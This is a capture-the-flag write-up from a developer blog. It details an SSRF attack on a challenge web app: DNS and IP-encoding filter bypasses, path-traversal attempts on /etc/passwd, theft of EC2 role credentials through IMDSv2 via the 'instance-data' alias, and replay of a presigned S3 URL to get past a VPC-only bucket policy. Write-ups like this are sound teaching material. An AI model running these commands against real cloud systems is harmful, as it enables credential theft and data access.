DEV Community

Cover image for FAM CTF : The Cloud writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

FAM CTF : The Cloud writeup

Summary

The target exposed a webhook endpoint (/internal/webhook) meant to act as an
internal-only proxy, blocking direct requests to private and link-local IP
ranges. That blocklist checked resolved IPs but missed a legacy EC2-internal
DNS alias (instance-data) that still resolves to the IMDS service. Since the
webhook transparently forwarded HTTP methods and headers, it was possible to
complete the full IMDSv2 token handshake (PUT for a token, then GET with
that token) through the SSRF, stealing the EC2 instance role's temporary AWS
credentials. Those credentials could list the target S3 bucket but not read
objects directly, due to a bucket policy restricting GetObject to requests
originating from inside the VPC. Generating a SigV4 presigned URL locally and
then replaying it through the same SSRF let the EC2 instance itself issue the
final GET, satisfying the VPC-source condition and returning the flag.

Flag: FAM{cl0ud_ssrf_imds_aacb179e691f}


Poking at the app

Started by just hitting the root page:

curl http://13.206.97.85/
Enter fullscreen mode Exit fullscreen mode

This returned a dashboard HTML page listing a handful of API routes: /status,
/metrics/system, /metrics/config, /metrics/endpoints, and a POST-only
/internal/webhook. Walked through them one at a time.

curl http://13.206.97.85/status | jq
Enter fullscreen mode Exit fullscreen mode

Just health/version info, nothing interesting.

curl http://13.206.97.85/metrics/system | jq
Enter fullscreen mode Exit fullscreen mode

This leaked the box's internal hostname: ip-10-20-1-112.ap-south-1.compute.internal.
Filed that away.

curl http://13.206.97.85/metrics/config | jq
Enter fullscreen mode Exit fullscreen mode

This was the important one. It dumped a config blob including:

"identity": {
  "imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "note": "credentials scoped to storage prefix only",
  "provider": "ec2-instance-metadata"
},
"storage": {
  "backend": "s3",
  "bucket": "fam-ctf-cloud-challenge",
  "note": "bucket access restricted to requests originating from within vpc",
  "prefix": "players/2301"
}
Enter fullscreen mode Exit fullscreen mode

So the goal became clear early: get to IMDS, get creds, use them on that bucket.

curl http://13.206.97.85/metrics/endpoints | jq
Enter fullscreen mode Exit fullscreen mode

Confirmed the route list, and noticed /internal/webhook accepts GET, POST,
and PUT - odd for a webhook, and that detail mattered later.

curl http://13.206.97.85/internal/webhook | jq
Enter fullscreen mode Exit fullscreen mode

Calling it with no params returned its own documentation:

{"note": "Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
 "usage": "POST /internal/webhook?url=<target>"}
Enter fullscreen mode Exit fullscreen mode

Classic SSRF proxy. Time to see what it actually blocks.

Fighting the filter

curl 'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://localhost/' | jq
Enter fullscreen mode Exit fullscreen mode

All three came back identically:

{"error": "Direct access to internal IP ranges is not allowed.",
 "hint": "Try harder. The instance has a name."}
Enter fullscreen mode Exit fullscreen mode

Even the IMDS IP itself got blocked, despite the docs claiming it was allowed -
so that "usage note" was misleading, not a real permission. Tried the usual
SSRF bypass tricks next, on the theory the filter might just be doing a dumb
string match on the URL:

curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/' | jq        # decimal IP
curl 'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/' | jq        # hex IP
curl 'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/' | jq
Enter fullscreen mode Exit fullscreen mode

Every single one got blocked with the exact same error. That was actually a
useful negative result - it meant the filter wasn't doing naive string matching,
it was resolving DNS and checking the resulting IP against a private/link-local
blocklist. All the tricks above still resolve to a blocked IP, so of course they
failed.

Also tried path traversal on the static file route, just to rule out an easier bug:

curl -m 10 'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'
curl -m 10 'http://13.206.97.85/static/....//....//....//....//etc/passwd'
curl -m 10 --path-as-is 'http://13.206.97.85/static/../../../../etc/passwd'
Enter fullscreen mode Exit fullscreen mode

All 404s - Flask normalizes ../ in routing before the traversal even reaches
the handler, so that was a dead end.

Then tried pivoting straight to the public S3 endpoint, since *.amazonaws.com
was supposedly allowed:

curl -m 20 'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/' | jq
Enter fullscreen mode Exit fullscreen mode

This one didn't get the filter's rejection message at all - it just hung and
timed out. That told me the URL passed validation, but the box has no real route
to the public internet (no NAT/IGW), so straight-to-S3 wasn't going to work either.

The actual bypass

Kept coming back to that hint: "the instance has a name." Already tried the
compute.internal hostname and it got blocked (since it still resolves to the
private IP). But there's an older, less common EC2-internal DNS alias for the
metadata service specifically:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/' | jq
Enter fullscreen mode Exit fullscreen mode

This got through:

{"status": 401, "url": "http://instance-data/latest/meta-data/iam/security-credentials/"}
Enter fullscreen mode Exit fullscreen mode

Not blocked by the filter anymore - a real 401 coming back from IMDS itself.
Checked the plain metadata root too, same 401:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/' | jq
Enter fullscreen mode Exit fullscreen mode

A 401 straight from IMDS on a GET usually means IMDSv2 is enforced - it wants a
session token first via a PUT to /latest/api/token. Tested whether the
webhook would even forward a PUT and a custom header:

curl -m 15 -X POST 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
Enter fullscreen mode Exit fullscreen mode

Got a 405 back (wrong method, as expected for IMDSv2's token endpoint), which
at least confirmed the webhook was passing my HTTP method through to the target.
Switched to PUT with the required header:

curl -m 15 -X PUT 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
Enter fullscreen mode Exit fullscreen mode

That worked - got a token back:

{"status": 200, "body": "AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="}
Enter fullscreen mode Exit fullscreen mode

So the webhook wasn't just forwarding methods, it was forwarding headers too.
Used the token to list the role name:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
Enter fullscreen mode Exit fullscreen mode

Got back ctf-cloud-player-2301 as the role name, then fetched the actual
credentials:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
Enter fullscreen mode Exit fullscreen mode

This returned a full set of temporary AWS creds - AccessKeyId, SecretAccessKey,
and a session Token.

Using the stolen creds

Exported them and confirmed identity:

export AWS_ACCESS_KEY_ID="ASIAYLZKVQD4NQMHDXAX"
export AWS_SECRET_ACCESS_KEY="VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."
export AWS_DEFAULT_REGION="ap-south-1"

aws sts get-caller-identity
Enter fullscreen mode Exit fullscreen mode

Confirmed as assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25. Listed the
bucket:

aws s3 ls s3://fam-ctf-cloud-challenge/players/2301/ --recursive
Enter fullscreen mode Exit fullscreen mode

Found players/2301/flag.txt. But actually reading it was blocked:

aws s3 cp s3://fam-ctf-cloud-challenge/players/2301/flag.txt -
Enter fullscreen mode Exit fullscreen mode
An error occurred (403) when calling the HeadObject operation: Forbidden
Enter fullscreen mode Exit fullscreen mode

Tried the lower-level API call in case it was just a HeadObject quirk:

aws s3api get-object --bucket fam-ctf-cloud-challenge --key players/2301/flag.txt flag.txt
Enter fullscreen mode Exit fullscreen mode
AccessDenied ... with an explicit deny in a resource-based policy
Enter fullscreen mode Exit fullscreen mode

That "explicit deny in a resource-based policy" matched the earlier hint about
the bucket only allowing requests that originate from inside the VPC. ListBucket
apparently wasn't covered by that condition (which is why listing worked), but
GetObject was.

Getting past the VPC restriction

The fix: a SigV4 presigned URL bakes the signature into the query string, so
whoever actually sends the HTTP request is what matters for the source-IP
condition - not whoever generated the signature. Generated one locally:

aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt --expires-in 300
Enter fullscreen mode Exit fullscreen mode

Then replayed that entire presigned URL through the SSRF webhook, so the actual
GET would be issued by the EC2 instance itself (which is inside the VPC):

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Signature=...' | jq
Enter fullscreen mode Exit fullscreen mode

That came back with status: 200 and the flag in the body:

FAM{cl0ud_ssrf_imds_aacb179e691f}
Enter fullscreen mode Exit fullscreen mode

Root causes

  • The webhook is a proxy that fetches attacker-controlled URLs server-side - classic SSRF.
  • The IP-range blocklist checks resolved DNS but missed the legacy instance-data alias, which still points at the metadata service.
  • IMDSv2 didn't actually stop anything here, because the SSRF proxy transparently forwards HTTP method and headers, so the full token-then-fetch handshake could be completed remotely through it.
  • The S3 bucket policy's VPC-source restriction only checks where the request physically comes from, and the SSRF gave a way to originate a request from inside that trusted boundary.

Top comments (0)